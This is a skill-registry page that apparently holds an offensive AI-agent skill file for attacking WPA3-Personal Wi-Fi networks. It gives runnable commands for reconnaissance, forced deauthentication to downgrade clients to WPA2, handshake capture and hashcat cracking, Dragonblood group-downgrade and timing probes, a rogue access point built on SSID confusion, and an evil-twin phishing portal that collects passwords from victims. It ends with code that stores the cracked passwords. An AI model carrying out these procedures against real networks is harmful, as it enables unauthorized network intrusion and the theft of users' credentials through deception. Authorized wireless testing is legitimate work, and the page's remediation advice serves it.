WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
64
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.mdSAE is an online-only protocol — there is no PMKID or 4-way handshake hash to crack offline. The headline deliverable when the PSK is unrecoverable is the MFP state finding (mandatory vs optional vs disabled) which proves downgrade viability. Realistic outcome: either recover the PSK via the transition-mode WPA2 leg, or document SAE + MFP as a hardened target with no further wireless attack surface.
aircrack-ng suite, hcxdumptool, hcxpcapngtool,
hashcat, iw, tshark or wireshark-cli.dragonslayer /
wpa_supplicant dev branch (Vanhoef scripts), Python 3.8+.iw reg get matches the engagement's regulatory domain
before any TX.Target signature: AP advertises both PSK and SAE (WPA2 WPA3
in airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK
and 00-0F-AC:8 SAE), AND PMF is optional (MFPC=1, MFPR=0)
rather than required (MFPR=1).
# 1. Passive recon — confirm transition mode + PMF state
sudo airodump-ng --write-interval 1 -w /tmp/wpa3_recon --output-format csv,pcap \
-c <CHANNEL> --bssid <BSSID> <mon-iface>
# 2. Decode RSN capabilities from beacon to read MFPC/MFPR
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields \
-e wlan.ssid \
-e wlan_mgt.rsn.capabilities.mfpc \
-e wlan_mgt.rsn.capabilities.mfpr 2>/dev/null | head -5
# Expected output for downgrade-viable target:
# TargetSSID 1 0
# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg
# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B/C/D# 3. Coerce client onto the WPA2 PSK leg
# Send targeted deauth to a connected client (requires
# permitted_actions: deauth_for_handshake_capture in RoE).
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>
# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference).
# Capture the resulting 4-way handshake / PMKID from airodump.
hcxpcapngtool -o /tmp/downgrade.hc22000 /tmp/wpa3_recon-01.cap
# 5. Crack with hashcat exactly as wpa2-psk skill.
hashcat -m 22000 /tmp/downgrade.hc22000 /usr/share/wordlists/rockyou.txtHand off to
wpa2-pskskill for cracking if the above yields a hash. The downgrade finding stands independently even without a cracked PSK.
Preconditions (all required):
# 1. Identify trusted SSID the client probes for
sudo airodump-ng <mon-iface> 2>/dev/null | grep "Probe"
# e.g., victim probes for "CorpWifi" which reuses PSK on home AP
# 2. Confirm no beacon protection in target beacons
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields -e wlan.ssid -e wlan.tag.number 2>/dev/null | grep "130"
# Tag 130 = FILS Public Key / beacon protection present → attack blocked
# 3. Stand up a rogue AP with the trusted SSID using the
# victim's own SAE credentials (operator already has the PSK from
# another path, or this is a known shared-PSK environment).
# Cross-reference evil-twin-karma skill for rogue AP setup.
# The victim associates using its saved PSK — traffic flows via
# attacker AP despite never cracking SAE directly.Limits: Requires credential reuse. Most corporate environments use unique per-network credentials, defeating this. Primarily viable in SMB/SOHO where the same "home" PSK is reused on a WPA3 network. (Reference: Vanhoef & Gollier, "SSID Confusion Attack", USENIX 2024.)
Viability note: Both the timing and cache side-channel variants (CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack (CVE-2019-13377) are patched in hostapd ≥ 2.9 / wpa_supplicant ≥ 2.9 (2019). Target must be running unpatched firmware — typical on embedded routers, old ISP-supplied CPE, or IoT access points with frozen firmware.
# 1. Check AP firmware / hostapd version via beacon or SNMP
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> <mon-iface>
# Look for vendor OUI → cross-ref CVE database for hostapd version
# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default)
# Vanhoef dragonslayer script automates this:
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
--test group-downgrade
# 3. Timing attack (cache/timing oracle on P-521 scalar multiplication)
# Also in dragonslayer; requires ~1000 timing samples to extract nonce.
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
--test timing-attack --iterations 1200
# Output: recovered nonce bits → partial PSK entropy.
# Full offline crack still requires mutation + hashcat.Expected result on patched target: SAE Commit is rejected with
status 77 (unsupported finite cyclic group) for group 22, and timing
variance is <10 µs (indistinguishable). Mark as not_vulnerable.
For networks where SAE is cryptographically intact and the PSK is strong, a hostile-portal workflow (social engineering) can recover the PSK directly from the user:
# Stand up evil-twin with matching SSID + deauth.
# See evil-twin-karma skill for full rogue AP + portal setup.
# Workflow: victim sees "Reconnect to Wi-Fi" prompt on portal page;
# submits PSK; phishing page validates it against a local wpa_supplicant
# instance pointing at a dummy SAE AP to confirm credential correctness
# before accepting.
# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024).On successful downgrade or PSK recovery, write a Credential node:
kg_add_node(
kind="credential",
label=f"WiFi PSK for {ssid} (WPA3-SAE transition downgrade)",
props={
"key": f"wifi-psk::{bssid}",
"secret_type": "wpa_sae",
"ssid": ssid,
"bssid": bssid,
"psk": psk,
"attack_path": "wpa3-transition-downgrade",
"cracked_at": "<iso8601>",
"source": "dragonshift+hashcat-22000",
},
)Always write a Finding node for the PMF state regardless of crack outcome:
kg_add_node(
kind="finding",
label="WPA3 Transition Mode — PMF Optional (Downgrade Viable)",
props={
"key": f"pmf-optional::{bssid}",
"severity": "high",
"mfpc": True,
"mfpr": False,
"cve_ids": [],
"remediation": "Set MFP=Required (MFPR=1) on the AP to block transition-mode downgrade.",
},
)hashcat --show output confirming PSK (if cracked).If PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as "SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe."
permitted_actions: deauth_for_handshake_capture.posture=loud.references/wpa3-transition-mode-notes.md — extended transition-mode notes.wpa2-psk skill — crack the recovered WPA2-leg handshake.evil-twin-karma skill — rogue AP setup for Path D.deauth-pmf skill — PMF detection and targeted deauth mechanics.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.